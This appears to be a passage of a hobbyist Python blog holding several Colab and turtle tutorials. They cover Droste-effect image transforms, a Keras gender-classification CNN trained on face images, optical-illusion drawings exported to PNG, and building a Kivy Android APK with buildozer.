        wymax = np.absolute(Wy).max()
        XNew = self.makeNewXY(Wx, wxmax, c * repeatY)
        YNew = self.makeNewXY(Wy, wymax, r * repeatX)
        return XNew, YNew

    def ReCreateImage(self, Xnew, Ynew, img, r, c, repeatX, repeatY):
        '''
        :param Xnew:
        :param Ynew:
        :param img:
        :param r:
        :param c:
        :param repeat:
        :return: A matrix representing the pic in the new coordinates
        '''
        # newImg = np.zeros([r * repeatX, c * repeatY, 3])
        imgList = img.tolist()
        XnewList = Xnew.tolist()
        YnewList = Ynew.tolist()
        newImgList = [[[0, 0, 0] for j in range(c * repeatY)] for i in range(r * repeatX)]
        for i in range(r * repeatX):
            for j in range(c * repeatY):
                if int(XnewList[i][j]) == c * repeatY:
                    XnewList[i][j] = c * repeatY - 1
                if int(YnewList[i][j]) == r * repeatX:
                    YnewList[i][j] = r * repeatX - 1
                newImgList[int(YnewList[i][j])][int(XnewList[i][j])] = imgList[i % r][j % c][:3] # extract RGB from inputImage
        newImg = np.array(newImgList)
        return newImg

    # I know this is overkill
    # need to find a opencv equivalent
    # if you know tell me plz :)
    def FixBlackPixels(self, img, r, c, repeatX, repeatY):
        global image, limitR, limitC
        black = [0,0,0]
        image = img
        limitR = r * repeatX - 1
        limitC = c * repeatY - 1
        imgList = img.tolist()
        for i in range(limitR):
            for j in range(limitC):
                if imgList[i][j] == black:
                    n = 0
                    temp = [0,0,0]
                    # diagonal screws the result
                    for u, v in [(1, 0), (-1, 0), (2, 0), (-2, 0), (0, 1), (0, -1), (0, 2), (0, -2)]:
                        if not (u == 0 and v == 0):
                            if 0 <= i + u and i + u <= limitR and 0<= j + v and j + v <= limitC:
                                if imgList[i + u][j + v] != black:
                                    n += 1
                                    temp = [imgList[i + u][j + v][k] + temp[k] for k in range(3)]
                    if n != 0:
                        imgList[i][j] = [temp[k] / n for k in range(3)]

        img = np.array(imgList)
        return img



    def ReCreateImageAndSave(self, W, imgTitle, r, c, repeatX, repeatY):
        xNew, yNew = self.GetNewXY(W, r, c, repeatX, repeatY)
        img = self.ReCreateImage(xNew, yNew, self.inputImg, r, c, repeatX, repeatY)
        img = self.FixBlackPixels(img, r, c, repeatX, repeatY)

        # img[blackPixels] = cv2.blur(img.astype(np.float32), (5, 5))
        # img = cv2.medianBlur(img.astype(np.float32), 5)
        cv2.imwrite(self.resultFolderAddress + '/' + imgTitle, img)


def only_odd():
  lst = []
  for i in range(0,100):
    ele = int(i)
    lst.append(ele)
  return [num for num in lst if num % 2 == 1]


def GetCommandLineArgs():
    '''
    Gets command line argumets, does some error checking.
    :return: command line arguments
             fPath must be valid
             method must be 0 or 1
             repeats must be positive and odd
    '''  
    #@markdown Address of input picture
    fPath = '/content/test.jpg' #@param {type:"string"}
    #@markdown Method number is either 0 or 1
    method_ = "0" #@param [0, 1] 
    #@markdown RepeatsX must be positive and odd
    repeatsX_ = "3" #@param [1, 3, 5, 7, 9]
    #@markdown RepeatsY must be positive and odd
    repeatsY_ = "5" #@param [1, 3, 5, 7, 9]
    method = int(method_)
    repeatsX = int(repeatsX_)
    repeatsY = int(repeatsY_)
    if not os.path.isfile(fPath):
      print("Input picture does not exist")
    if not (method == 0 or method == 1):
      print("Method must be 0 or 1")
    if repeatsX <= 0 or repeatsX & 1 == 0:
      print("Repeats must be positive and odd")
    if repeatsY <= 0 or repeatsY & 1 == 0:
      print("Repeats must be positive and odd")
    return fPath, method, repeatsX, repeatsY
  

def CreateOutputFolder(inputImagePath, repeatsX, repeatsY, method, r1, r2):
    '''
    :param inputImagePath: address of our input image
    :param repeats:        number of repeats
    :return: address of the result folder
    '''
    inputImageName = inputImagePath.split('/')[-1] # extract input image name
    outputFolder = "OutputImages/"        # pictures will be stored

    resultFolderAddress = outputFolder + inputImageName + "-{}.{}-{}.{}-{}.jpg".format(method, r1, r2, repeatsX, repeatsY) # the folder that our code is stored in
    if not os.path.exists(resultFolderAddress): # create the result folder
        os.makedirs(resultFolderAddress)
    return resultFolderAddress

def main():
    inputImagePath, method, repeatsX, repeatsY = GetCommandLineArgs()
    # We have two methods of calculating the result
    # 0: Ln -> Rotate -> Tile   -> exponent
    # 1: Ln -> Tile   -> Rotate -> exponent
    #@markdown inner circle radius 0.2 
    r1_ = "0.2" #@param[0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1]
    r1 = float(r1_)
    #@markdown outer circle radius 0.9     
    r2_ = "0.9" #@param[0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1]   
    r2 = float(r2_)

    resultFolderAddress = CreateOutputFolder(inputImagePath, repeatsX, repeatsY, method, r1, r2)

    d = Droste(inputImagePath, repeatsX, repeatsY, r1, r2, -1, 1, resultFolderAddress)
    print('be patient...')
    d.Transform(method)


if __name__ == "__main__":
    main()

This code will resize the generated image according to input. Let me tell you that this Code does a preety neat job resizing image from small to big or big to small and keeps the image crisp.

#@title Resize Image *Copy paste path here
from PIL import Image
from IPython.display import Image as Image_

Image_to_Correct = "/content/OutputImages/test.jpg-0.0.2-0.9.3-5.jpg/final-0.0.2-0.9.3-5.jpg"#@param {type:"string"}
image = Image.open(Image_to_Correct)
width, height = image.size

#@markdown Size:- SD 480p || HD 720p || HD 1080p || 4K 2160p
add_size_ = "640" #@param [640,1280,1920,3840]
add_size = int(add_size_)

remain_adw = add_size - width
remain_adh = add_size - height

new_image = image.resize((width+remain_adw,height+remain_adh))
if add_size == 640:
  sd = 'newsize_SD_480p.png'
  new_image.save(sd)
  fl = sd 
if add_size == 1280:
  HD = 'newsize_HD_720p.png'
  new_image.save(HD)
  fl = HD
if add_size == 1920:
  HDD = 'newsize_HD_1080p.png'
  new_image.save(HDD)
  fl = HDD
if add_size == 3840:
  _4K = 'newsize_4K_2160p.png'
  new_image.save(_4K)
  fl = _4K

print("File Saved!!!")
Image_(filename = fl, width = 512, height = 512)

And this Code will download your Enlarged Image from google colab

# @markdown # Download Your File
from google.colab import files
files.download(fl)

:::Dev Info:::

My Name:- Joel D'costa
Git:- DrosteEffect
Google Colab:-

Python Machine Learning (Gender Detection Project ♀♂) | Google Colab Project

2022-01-14T14:20:00.153-08:00

Machine Learning - Machine learning is a branch of artificial intelligence (AI) and computer science which focuses on the use of data and algorithms to imitate the way that humans learn, gradually improving its accuracy.

Python Neural Network - Neural networks, also known as artificial neural networks (ANNs) or simulated neural networks (SNNs), are a subset of machine learning and are at the heart of deep learning algorithms. Their name and structure are inspired by the human brain, mimicking the way that biological neurons signal to one another.

Python Training Model - Train/Test is a method to measure the accuracy of your model. It is called Train/Test because you split the the data set into two sets: a training set and a testing set.

Python Deep Learning - Deep learning allows computational models that are composed of multiple processing layers to learn representations of data with multiple levels of abstraction. Later the multi-layered approach is described in terms of representation learning and abstraction.

What Are We Going To Do Here?

In Simple language we will teach python to detect who is ♀ and who is ♂ from the following given images. And we will make the entire project in Google Colab.

Change Runtime Type (*in Google Colab)

First Goto - Runtime > Change runtime type > Notebook settings
Change to - Hardware accelerator > GPU [Save]

Gender Data Dropbox Download Datasets

♀♂ Run 1 - Download Gender Data From Dropbox

!wget www.dropbox.com/s/1axwa3bhtr4e369/gender%20detection.zip

♀♂ Run 2 - Extract The Zip File

!unzip "/content/gender detection.zip"

♀♂ Run 3 - Assign Variables To Dataset

Epochs - number times that the learning algorithm will work through the entire training dataset.

Training in Batches. Example 5 images per batch.

validation_data_dir = r"/content/gender_dataset_face/Testing dataset"
train_data_dir = r"/content/gender_dataset_face/Training set"

# I am taking width and height as 150
img_width, img_height = 150, 150
nb_train_sample = 10
nb_validation_samples = 10
# Epochs - number times that the learning algorithm will work through the entire training dataset.
epochs = 50
# Training in Batches. Example 5 images per batch.
batch_size = 5

♀♂ Run 4 - Image_Data_Format Parameter In Keras

Keras is a higher-level neural networks library for Python, which is capable of running on top of TensorFlow, CNTK (Microsoft Cognitive Toolkit), or Theano, (and with limited support for MXNet and Deeplearning4j), which Keras refers to as 'Backends'. Keras backend should use is defined in the keras.json file

located at ~/.keras/keras.json in Linux and Mac OS,
and at %USERPROFILE%.keras\keras.json on Windows.

The "backend" parameter should either be "tensorflow", "cntk", or "theano". When switching the backend, make sure to switch the "image_data_format" parameter too. For "tensorflow "or "cntk" backends, it should be “channels_last”. For “theano”, it should be “channels_first”.

The default keras.json file (default set to TensorFlow) would look like this,

{  
   "epsilon": 1e-07,  
   "floatx": "float32",  
   "image_data_format": "channels_last",  
   "backend": "tensorflow"  
 }

So, the keras.json for CNTK should look like,

{  
   "epsilon": 1e-07,  
   "floatx": "float32",  
   "image_data_format": "channels_last",  
   "backend": "cntk"  
 }

Likewise, the keras,json for Theano would look like this,

{  
   "epsilon": 1e-07,  
   "floatx": "float32",  
   "image_data_format": "channels_first",  
   "backend": "theano"  
 }

Why is this image_data_format parameter so important?

The image_data_format parameter affects how each of the backends treat the data dimensions when working with multi-dimensional convolution layers (such as Conv2D, Conv3D, Conv2DTranspose, Copping2D, … and any other 2D or 3D layer). Specifically, it defines where the 'channels' dimension is in the input data.

Both TensorFlow and Theano expects a four dimensional tensor as input. But where TensorFlow expects the 'channels' dimension as the last dimension (index 3, where the first is index 0) of the tensor – i.e. tensor with shape (samples, rows, cols, channels) – Theano will expect 'channels' at the second dimension (index 1) – i.e. tensor with shape (samples, channels, rows, cols). The outputs of the convolutional layers will also follow this pattern.

So, the image_data_format parameter, once set in keras.json, will tell Keras which dimension ordering to use in its convolutional layers.

Mixing up the channels order would result in your models being trained in unexpected ways.

import tensorflow.keras.backend as k
if k.image_data_format() == 'channels_first':
  input_shape = (3, img_width, img_height)
else:
  input_shape = (img_width, img_height, 3)

♀♂ Run 5 - Importing Tensorflow, matplotlib

import tensorflow
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Conv2D, Flatten, Dropout, MaxPooling2D, Activation
from tensorflow.keras.preprocessing import image
import matplotlib.pyplot as plt
import matplotlib.image as mpimg

♀♂ Run 6 - To Get Equal Size Of Every Image While Training The Model

To get equal size of every image while training the model due to difference in resolution in every image.

Now this will generate training generator data. Target size mentioned as image_width and image_height. Batch size of 5. Class mode in binary because here only two classes are there to classify.

# To get equal size of every image while training the model due to difference in resolution in every image.
train_datagen = ImageDataGenerator(rescale=1./255, shear_range = 0.2, zoom_range=0.2, horizontal_flip = True)

#Now this will generate training generator data. Target size mentioned as image_width and image_height. Batch size of 5. Class mode in binary because here only two classes are there to classify.
train_generator = train_datagen.flow_from_directory(train_data_dir, target_size=(img_width, img_height), batch_size= batch_size, class_mode= 'binary', classes = ['men','women'])


>>> Found 1641 images belonging to 2 classes.

♀♂ Run 7 - Same As Above But Testing & Validating Datagen

test_datagen = ImageDataGenerator (rescale=1./255)

validation_generator = test_datagen.flow_from_directory(validation_data_dir, target_size = (img_width, img_height), batch_size=batch_size, class_mode='binary')


>>> Found 666 images belonging to 2 classes.

♀♂ Run 8 - Using Matplotlib To View Our Data Which Will Give Out Data In Equal Size

plt.figure(figsize=(12,12))
for i in range(0,15):
  plt.subplot(5,3,i+1)
  for X_batch, Y_batch in train_generator:
    image = X_batch[0]
    plt.imshow(image)
    break

plt.tight_layout()
plt.show()

♀♂ Run 9 - Building Your Model

#This Class allows to create convolutional neural network to extract features from the images
model1 = Sequential()
model1.add(Conv2D(64,(3,3), input_shape=input_shape))

model1.add(Activation('relu'))
#MaxPooling2d reduce the size of the data
model1.add(MaxPooling2D(pool_size=(2,2)))
#Converts multi dimensional array to 2D channel
model1.add(Flatten())
#64 neurons with 3*3 filter
model1.add(Dense(64))
#Numbers of output nodes in the hidden layer
model1.add(Activation('relu'))
#Output layer 
model1.add(Dense(1))
#sigmoid activition funtion
model1.add(Activation('sigmoid'))
model1.summary()


>>> Model: "sequential"
_________________________________________________________________
 Layer (type)                Output Shape              Param #   
=================================================================
 conv2d (Conv2D)             (None, 148, 148, 64)      1792      
                                                                 
 activation (Activation)     (None, 148, 148, 64)      0         
                                                                 
 max_pooling2d (MaxPooling2D  (None, 74, 74, 64)       0         
 )                                                               
                                                                 
 flatten (Flatten)           (None, 350464)            0         
                                                                 
 dense (Dense)               (None, 64)                22429760  
                                                                 
 activation_1 (Activation)   (None, 64)                0         
                                                                 
 dense_1 (Dense)             (None, 1)                 65        
                                                                 
 activation_2 (Activation)   (None, 1)                 0         
                                                                 
=================================================================
Total params: 22,431,617
Trainable params: 22,431,617
Non-trainable params: 0
_________________________________________________________________

♀♂ Run 10 - Optimize Your Model

model1.compile(optimizer='rmsprop',
               loss = 'binary_crossentropy',
               metrics = ['accuracy'])
model1.summary()


>>> Model: "sequential"
_________________________________________________________________
 Layer (type)                Output Shape              Param #   
=================================================================
 conv2d (Conv2D)             (None, 148, 148, 64)      1792      
                                                                 
 activation (Activation)     (None, 148, 148, 64)      0         
                                                                 
 max_pooling2d (MaxPooling2D  (None, 74, 74, 64)       0         
 )                                                               
                                                                 
 flatten (Flatten)           (None, 350464)            0         
                                                                 
 dense (Dense)               (None, 64)                22429760  
                                                                 
 activation_1 (Activation)   (None, 64)                0         
                                                                 
 dense_1 (Dense)             (None, 1)                 65        
                                                                 
 activation_2 (Activation)   (None, 1)                 0         
                                                                 
=================================================================
Total params: 22,431,617
Trainable params: 22,431,617
Non-trainable params: 0
_________________________________________________________________

♀♂ Run 11 - Training Your Model

Run this code more often to Increase Accuracy Of Machine Learning Model.

You can also add your own set of images in dataset.

And to train your model over night without disconnecting google colab just run this hack, copy paste this javascript code to your browser Console and Run

function ClickConnect()
{
console.log("Working");
document.querySelector("colab-connect-button").shadowRoot.getElementById('connect').click();
}
setInterval(ClickConnect,60000);

training = model1.fit(train_generator,
                      steps_per_epoch = nb_train_sample, epochs=epochs,
                      validation_data=validation_generator,
                      validation_steps = nb_validation_samples)


>>> Epoch 1/50
10/10 [==============================] - 11s 68ms/step - loss: 28.8991 - accuracy: 0.4000 - val_loss: 1.6395 - val_accuracy: 0.7400
Epoch 2/50
10/10 [==============================] - 1s 50ms/step - loss: 3.4661 - accuracy: 0.5000 - val_loss: 4.2565 - val_accuracy: 0.1800

.....

Epoch 50/50
10/10 [==============================] - 1s 56ms/step - loss: 0.5074 - accuracy: 0.7800 - val_loss: 0.3892 - val_accuracy: 0.8400

♀♂ Run 12 - Plotting Model Accuracy

import matplotlib.pyplot as plt
%matplotlib inline
# list all data in training
print(training.history.keys())
# summarize training for accuracy
plt.plot(training.history['accuracy'])
plt.plot(training.history['val_accuracy'])
plt.title('model accuracy')
plt.ylabel('accuracy')
plt.xlabel('epoch')
plt.legend(['train','test'], loc='upper left')
plt.show()
# summarize training for loss
plt.plot(training.history['loss'])
plt.plot(training.history['val_loss'])
plt.title('model loss')
plt.ylabel('loss')
plt.xlabel('epoch')
plt.legend(['train','test'], loc='upper left')
plt.show()

>>> dict_keys(['loss', 'accuracy', 'val_loss', 'val_accuracy'])

♀♂ Run 13 - Download Your Own Image

Download Your Own Image and renaming it as image2.jpg

!wget "YOUR IMAGE URL" -O "image2.jpg"

!wget "https://www.ihnice.com/media-picture/221-400-600-Students%20030rszd.jpg" -O "image2.jpg"

♀♂ Run 14 - View Image In 100X100

#View Image
from IPython.display import Image
Image('image2.jpg',width=100,height=100)

♀♂ Run 15 - Detect If Our Image Is Of A Man Or Woman

from tensorflow.keras.preprocessing import image
from google.colab.patches import cv2_imshow
import numpy as np

img_path = "/content/image2.jpg"

img_pred = image.load_img(img_path, target_size=(150,150))
img_pred = image.img_to_array(img_pred)
img_pred = np.expand_dims(img_pred,axis=0)

rslt = model1.predict(img_pred)
print(rslt)
prediction = " "
if rslt[0][0] == 1:
  prediction = "Woman"
else:
  prediction = "Man"
print('Prediction: ', prediction)


>>> [[1.]]
Prediction:  Woman

♀♂ Run 16 - Plotting Gender Data On Your Image

import cv2

img_path = "/content/image2.jpg"
image = cv2.imread(img_path)
window_name = 'Image'

# Font style
font = cv2.FONT_HERSHEY_SIMPLEX
org = (30, 150)
fontScale = 3
color = (255, 0, 0)
thickness = 10
image = cv2.putText(image, prediction, org, font, fontScale, color, thickness, cv2.LINE_AA)

from google.colab.patches import cv2_imshow
#cv2_imshow(image) #Full Size
cv2_imshow(cv2.resize(image, (200, 300))) #Resize

And Finally you get a love reply with an output saying Its a Women

:::Dev Info:::

My Name:- Joel D'costa
Git:- Gender_Detection♀♂
Google Colab:-

Create Optical illusion in Python | Create Optical illusion with Python | How to Create Optical illusions in Python

2022-01-08T12:30:00.001-08:00

In this tutorial I will show you how easy it is to create optical illusion Images using Python. I am going to use Python Turtle and saving it as PNG. The whole process will be automated. If you don't know how to Export Python Turtle Design in to PNG images Check out this tutorial.

This Scripts will create Transparent PNG images to which you can add any kind of background color using photoshop.

More Python Resources

Here are some Turtle generated Images along with the code.

Code for Bulge Illusion - #python4fun

import turtle

screen = turtle.Screen()
screen.setup(800,800)
screen.setworldcoordinates(-8,-8,8,8)
screen.tracer(0,0)
screen.title('Bulge Illusion - #python4fun')
turtle.hideturtle()
turtle.speed(0)

color1 = 'light sky blue'
color2 = 'firebrick'
screen.bgcolor(color2)

def draw_square(x,y,size,c):
    turtle.up()
    turtle.goto(x-size/2,y-size/2)
    turtle.seth(0)
    turtle.color(c)
    turtle.begin_fill()
    for _ in range(4):
        turtle.fd(size)
        turtle.left(90)
    turtle.end_fill()
    
def draw_board():
    for x in range(-7,8,2):
        for y in range(-7,8,2):
            draw_square(x,y,1,color1)
    for x in range(-6,8,2):
        for y in range(-6,8,2):
            draw_square(x,y,1,color1)
            

def draw_diag(x,y):
    c = color2 if (x+y)%2 == 0 else color1
    if x*y > 0:
        draw_square(x-0.3,y+0.3,0.3,c)
        draw_square(x+0.3,y-0.3,0.3,c)
    elif x*y < 0:
        draw_square(x+0.3,y+0.3,0.3,c)
        draw_square(x-0.3,y-0.3,0.3,c)

def draw_straight(x,y):
    c = color2 if (x+y)%2 == 0 else color1
    if y>0:
        draw_square(x-0.3,y-0.3,0.3,c)
        draw_square(x+0.3,y-0.3,0.3,c)
    elif y<0:
        draw_square(x-0.3,y+0.3,0.3,c)
        draw_square(x+0.3,y+0.3,0.3,c)
    elif x>0:
        draw_square(x-0.3,y-0.3,0.3,c)
        draw_square(x-0.3,y+0.3,0.3,c)
    elif x<0:
        draw_square(x+0.3,y-0.3,0.3,c)
        draw_square(x+0.3,y+0.3,0.3,c)
        
def draw_bulge():
    for x in range(-6,7):
        for y in range(-6,7):
            if abs(x)+abs(y)<=7:
                draw_diag(x,y)
                if x==0 or y==0: draw_straight(x,y)
    x,y = -5,-3
    for i in range(3):
        draw_diag(x,y)
        draw_diag(-x,-y)
        draw_diag(x,-y)
        draw_diag(-x,y)
        x += 1
        y -= 1
draw_board()
draw_bulge()
screen.update()


### This will create .eps file ####
import turtle
from tkinter import *
from turtle import *
from PIL import Image
import os
import time

# keeping eps file name as image
eps_file = "temp.eps"

# generating eps file
ts = turtle.getscreen()
turtle.hideturtle()
ts.getcanvas().postscript(file=eps_file)

# get current python file name as string without ".py"
fname = os.path.basename(__file__)
filename = fname.replace('.py','.png')

# Converting eps file to jpg | with filename 
#im.save(str(filename)+".jpg", "JPEG")

# Convert eps to transparent png using ghost script
os.popen("gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile="+filename+" -dEPSCrop temp.eps")

# Merge transparent png on top of given background png
time.sleep(2)

# Get transparent image file height / width
img = Image.open(filename)
h, w = img.size
print(h,w)
print("Click on the Turtle Screen To Close")

ts.exitonclick()

Code for Penrose Triangle - #python4fun

import turtle
turtle.speed(1)
turtle.setup(1000,1000)
turtle.title('Penrose Triangle - #python4fun')

def draw_penrose_triangle(x,y,size,tilt):
    turtle.pencolor((0.2,0.2,0.2))
    turtle.up()
    turtle.goto(x,y)
    turtle.seth(tilt)
    turtle.down()
    turtle.fd(size*2)
    p1x = turtle.xcor()
    p1y = turtle.ycor()
    p1a = turtle.heading()
    turtle.left(120)
    turtle.fd(size*2)
    p2x = turtle.xcor()
    p2y = turtle.ycor()
    p2a = turtle.heading()
    turtle.left(120)
    turtle.fd(size*2)
    p3x = turtle.xcor()
    p3y = turtle.ycor()
    p3a = turtle.heading()
    # gray
    turtle.up()
    turtle.goto(p1x,p1y)
    turtle.seth(p1a)
    turtle.down()
    turtle.fillcolor('dark gray')
    turtle.begin_fill()
    turtle.fd(size)
    turtle.left(120)
    turtle.fd(size*5)
    turtle.left(120)
    turtle.fd(size*6)
    turtle.left(60)
    turtle.fd(size)
    turtle.left(120)
    turtle.fd(size*5)
    turtle.right(120)
    turtle.fd(3*size)
    turtle.end_fill()
    #black
    turtle.up()
    turtle.goto(p2x,p2y)
    turtle.seth(p2a)
    turtle.down()
    turtle.fillcolor('black')
    turtle.begin_fill()
    turtle.fd(size)
    turtle.left(120)
    turtle.fd(5*size)
    turtle.left(120)
    turtle.fd(6*size)
    turtle.left(60)
    turtle.fd(size)
    turtle.left(120)
    turtle.fd(5*size)
    turtle.right(120)
    turtle.fd(3*size)
    turtle.end_fill()
    #white
    turtle.up()
    turtle.goto(p3x,p3y)
    turtle.seth(p3a)
    turtle.down()
    turtle.fd(size)
    turtle.left(120)
    turtle.fd(5*size)
    turtle.left(120)
    turtle.fd(6*size)
    turtle.left(60)
    turtle.fd(size)
    turtle.left(120)
    turtle.fd(5*size)
    turtle.right(120)
    turtle.fd(3*size)

draw_penrose_triangle(-80,-50,80,0)


### This will create .eps file ####
import turtle
from tkinter import *
from turtle import *
from PIL import Image
import os
import time

# keeping eps file name as image
eps_file = "temp.eps"

# generating eps file
ts = turtle.getscreen()
turtle.hideturtle()
ts.getcanvas().postscript(file=eps_file)

# get current python file name as string without ".py"
fname = os.path.basename(__file__)
filename = fname.replace('.py','.png')

# Converting eps file to jpg | with filename 
#im.save(str(filename)+".jpg", "JPEG")

# Convert eps to transparent png using ghost script
os.popen("gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile="+filename+" -dEPSCrop temp.eps")

# Merge transparent png on top of given background png
time.sleep(2)

# Get transparent image file height / width
img = Image.open(filename)
h, w = img.size
print(h,w)
print("Click on the Turtle Screen To Close")

ts.exitonclick()

Code for Bulge Illusion - #python4fun

import turtle
import math

screen = turtle.Screen()
screen.setup(1100,1000)
screen.setworldcoordinates(-620,-550,680,550)
screen.tracer(0,0)
screen.title('Roller Illusion - #python4fun')
turtle.hideturtle()
turtle.speed(0)
n=100
# parametric equation to draw ellipses
def ellipse(cx,cy,a,b,c1,c2,c3):
    t = -math.pi/2
    x = cx+a*math.cos(t)
    y = cy+b*math.sin(t)
    turtle.up()
    turtle.goto(x,y)
    turtle.down()
    turtle.pencolor(c1)
    turtle.fillcolor(c3)
    turtle.begin_fill()
    for i in range(n//2):
        x = cx+a*math.cos(t)
        y = cy+b*math.sin(t)
        turtle.goto(x,y)    
        t += 2*math.pi/n
    turtle.pencolor(c2)
    for i in range(n//2):
        x = cx+a*math.cos(t)
        y = cy+b*math.sin(t)
        turtle.goto(x,y)    
        t += 2*math.pi/n
    turtle.end_fill()

def rolling_column(x,size):
    for y in range(-400,500,100):
        ellipse(x,y,size,35,'white','black','dark orange')
        
def rolling_column2(x,size):
    for y in range(-400,500,100):
        ellipse(x,y,size,35,'black','white','dark orange')

def rolling():
    rolling_column(-450,10)
    rolling_column(-410,13)
    rolling_column(-360,16)
    rolling_column(-300,19)
    rolling_column(-240,16)
    rolling_column(-190,13)
    rolling_column(-150,10)

    rolling_column2(-130,10)
    rolling_column2(-90,13)
    rolling_column2(-40,16)
    rolling_column2(20,19)
    rolling_column2(80,16)
    rolling_column2(130,13)
    rolling_column2(170,10)

    rolling_column(190,10)
    rolling_column(230,13)
    rolling_column(280,16)
    rolling_column(340,19)
    rolling_column(400,16)
    rolling_column(450,13)
    rolling_column(490,10)
    
turtle.color('steel blue')
turtle.up()
turtle.goto(-1000,-1000)
turtle.down()
turtle.begin_fill()
turtle.seth(0)
for _ in range(4):
    turtle.fd(2000)
    turtle.left(90)
turtle.end_fill()
turtle.pensize(3)
rolling()
screen.update()

### This will create .eps file ####
import turtle
from tkinter import *
from turtle import *
from PIL import Image
import os
import time

# keeping eps file name as image
eps_file = "temp.eps"

# generating eps file
ts = turtle.getscreen()
turtle.hideturtle()
ts.getcanvas().postscript(file=eps_file)

# get current python file name as string without ".py"
fname = os.path.basename(__file__)
filename = fname.replace('.py','.png')

# Converting eps file to jpg | with filename 
#im.save(str(filename)+".jpg", "JPEG")

# Convert eps to transparent png using ghost script
os.popen("gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile="+filename+" -dEPSCrop temp.eps")

# Merge transparent png on top of given background png
time.sleep(2)

# Get transparent image file height / width
img = Image.open(filename)
h, w = img.size
print(h,w)
print("Click on the Turtle Screen To Close")

ts.exitonclick()

Code for Hermann Grid Illusion - #python4fun

import turtle

screen = turtle.Screen()
screen.setup(500,500)
screen.title('Hermann Grid Illusion - #python4fun')
screen.tracer(0)
turtle.hideturtle()
turtle.speed(0)
turtle.bgcolor('black')

turtle.pensize(4)

turtle.color('light gray')
for x in range(-502,500,25):
    turtle.up()
    turtle.goto(x,-500)
    turtle.down()
    turtle.seth(90)
    turtle.fd(1000)
    
for y in range(-502,500,25):
    turtle.up()
    turtle.goto(-500,y)
    turtle.down()
    turtle.seth(0)
    turtle.fd(1000)

turtle.up()
for x in range(-502,500,25):
    for y in range(-502,500,25):        
        turtle.goto(x,y)
        turtle.dot('white')
screen.update()

### This will create .eps file ####
import turtle
from tkinter import *
from turtle import *
from PIL import Image
import os
import time

# keeping eps file name as image
eps_file = "temp.eps"

# generating eps file
ts = turtle.getscreen()
turtle.hideturtle()
ts.getcanvas().postscript(file=eps_file)

# get current python file name as string without ".py"
fname = os.path.basename(__file__)
filename = fname.replace('.py','.png')

# Converting eps file to jpg | with filename 
#im.save(str(filename)+".jpg", "JPEG")

# Convert eps to transparent png using ghost script
os.popen("gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile="+filename+" -dEPSCrop temp.eps")

# Merge transparent png on top of given background png
time.sleep(2)

# Get transparent image file height / width
img = Image.open(filename)
h, w = img.size
print(h,w)
print("Click on the Turtle Screen To Close")

ts.exitonclick()

Kivy .APK .AAB | Kivy Python Framework For Mobile App Development

2022-01-08T06:14:00.021-08:00

What is KIVY?
Kivy is a free and open-source Python library used for developing mobile applications and other multitouch application software with a Natural User Interface.

What is Google Colaboratory?
Google Colaboratory, or "Colab" for short, is a product from Google Research. Colab allows anybody to write and execute arbitrary python code through the browser, and is especially well suited to machine learning, data analysis and education. More technically, Colab is a hosted Jupyter notebook service that requires no setup to use, while providing free access to computing resources including GPUs.

In this tutorial I will show you how to Create KIVY APK / AAB using Google Colab

Yes we can use Google Colab to create Kivy App. The Best part is you can do the same using your tab or a mobile phone and create a Kivy App. And you don't need to download tones of packages which also means not much data is used. And yet you get the same result as a full-fledged computer with good internet speed does.

So lets get started.

To make Python Apk
You need :- main.py (Main Python Script)
font file (.ttf) - Font used by the Script

🥝 Run 1 [Install Buildozer]

!pip install buildozer

🥝 Run 2 [Install Cython Version 0.29.19]

!pip install cython==0.29.19

🥝 Run 3 [Lsb_Release Command Prints Certain Lsb (Linux Standard Base) And Distribution Information.]

!lsb_release -a

🥝 Run 4 [Install Python And Other Libraries]

!sudo apt-get install -y \
    python3-pip \
    build-essential \
    git \
    python3 \
    python3-dev \
    ffmpeg \
    libsdl2-dev \
    libsdl2-image-dev \
    libsdl2-mixer-dev \
    libsdl2-ttf-dev \
    libportmidi-dev \
    libswscale-dev \
    libavformat-dev \
    libavcodec-dev \
    zlib1g-dev

🥝 Run 5 [Install More Libraries]

*Cannot install these 3 libraries together with the above. It will create an Error.

!sudo apt-get install -y \
    libgstreamer1.0 \
    gstreamer1.0-plugins-base \
    gstreamer1.0-plugins-good

🥝 Run 6 [More Libraries]

!sudo apt-get install build-essential libsqlite3-dev sqlite3 bzip2 libbz2-dev zlib1g-dev libssl-dev openssl libgdbm-dev libgdbm-compat-dev liblzma-dev libreadline-dev libncursesw5-dev libffi-dev uuid-dev libffi6

🥝 Run 7 [Some More Libraries] *Important

!sudo apt-get install libffi-dev
!sudo apt-get install automake
!sudo apt-get install autoconf
!sudo apt-get install libltdl-dev
!sudo apt-get install libtool

🥝 Run 8 [Create Buildozer Spec]

what works: function + python_for_android + wav
Type "y"
Press Refresh Folder at the left
open buildozer.spec file
add "wav" in file used
add "python_for_android" in require

!buildozer init

ADD specifications to buildozer.spec
API List :- https://source.android.com/setup/start/build-numbers

...
4 title = <YOUR APP NAME>
...
7 package.name= <yourappname>
...
10 package.domain = com.companyname.yourappname
...
16 source.include_exts = wav, ttf
...
39 requirements = kivy, python_for_android, android, jnius, kivmob
...
52 icon.filename = position.png
...
55 orientation = landscape
...
78 fullscreen = 1
...
88 android.permissions = INTERNET, ACCESS_NETWORK_STATE, WAKE_LOCK
...
91 android.api = 30
...
94 android.minapi = 21
...
97 android.sdk = 24
...
100 android.ndk = 19b
...
159 android.gradle_dependencies = 'com.google.firebase:firebase-ads:10.2.0'
...
203 android.wakelock = True
...
206 android.meta_data = com.google.android.gms.ads.APPLICATION_ID=ca-app-pub-3940256099942544~3347511713
...
236 p4a.branch = master
...

# For test ads, use application ID ca-app-pub-3940256099942544~3347511713
android.meta_data = com.google.android.gms.ads.APPLICATION_ID={ADMOB_APP_ID_HERE}

🥝 Run 9 [Adding Admob To Kivy] [install kivmob for Admob]

